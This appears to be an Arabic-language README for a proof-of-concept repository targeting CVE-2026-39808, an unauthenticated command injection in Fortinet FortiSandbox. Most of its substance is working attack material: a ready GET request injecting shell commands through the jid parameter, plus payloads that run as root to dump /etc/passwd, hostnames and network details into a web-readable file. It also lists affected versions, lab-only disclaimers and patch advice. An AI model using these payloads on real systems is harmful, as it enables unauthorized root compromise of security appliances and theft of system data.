🚨 هروب صندوق الرمل الجذري في FortiSandbox - CVE-2026-39808

🎯 نظرة عامة

يحتوي هذا المستودع على إثبات مفهوم واضح وموثق بشكل جيد لـ CVE-2026-39808 — ثغرة حقن أوامر غير مصادق عليها حرجة في Fortinet FortiSandbox تسمح بـ هروب صندوق الرمل وتنفيذ تعليمات برمجية عن بُعد كـ جذر (uid=0).

ما يوضحه هذا الإثبات:

اختراق المسار + حقن الأوامر عبر المعامل jid
اختراق صندوق الرمل من بيئة التحليل
تنفيذ أوامر عشوائية بصلاحيات الجذر
قراءة ملفات النظام ومعلومات الشبكة

📸 عرض توضيحي

استغلال ناجح يظهر uid=0 gid=0 groups=0

🚀 الإصدارات المتأثرة

Version Range	Status
FortiSandbox 4.4.0 – 4.4.8	قابل للاستغلال
FortiSandbox 5.0.0 – 5.0.5	قابل للاستغلال
4.4.9+ / 5.0.6+	مُصحَّح

🛠️ كيفية الاستخدام (معمل فقط)

1. الحمولة البسيطة (موصى به)

GET /fortisandbox/job-detail/tracer-behavior?jid=%7C(id%3E/web/ng/out.txt)%7C HTTP/1.1
Host: your-lab-ip

2. عرض النتيجة

افتح في المتصفح:

https://your-lab-ip/ng/out.txt

3. أمثلة حمولات متقدمة

# احصل على عنوان IP + اسم المضيف
jid=|(hostname; ip -4 addr show > /web/ng/out.txt)|

# استطلاع كامل للنظام
jid=|(whoami; id; hostname; ip addr; cat /etc/passwd > /web/ng/out.txt)|

📁 محتويات المستودع

poc.py → استغلال Python آلي
burp-request.txt → طلب Burp Suite جاهز للاستخدام
payloads.md → مجموعة من الحمولات المفيدة
screenshots/ → صور خطوة بخطوة للاستغلال
README.md → هذا الملف

⚠️ ملاحظات هامة

لأغراض تعليمية ومعملية فقط
لا تستخدم هذا على أي أنظمة إنتاج أو غير مصرح بها
احصل دائمًا على الإذن المناسب قبل الاختبار
قم بتحديث FortiSandbox إلى الإصدار 4.4.9+ أو 5.0.6+

🛡️ التخفيف (الحماية)

قم بتحديث FortiSandbox فورًا إلى أحد الإصدارات التالية:

4.4.9 أو أعلى
5.0.6 أو أعلى

أصدرت Fortinet تصحيحات رسمية لمعالجة هذه الثغرة.

مصنوع لأغراض البحث والتعلم
⭐ قم بوضع نجمة لهذا المستودع إذا ساعدك!

CVE-2026-39808

الأكثر شعبية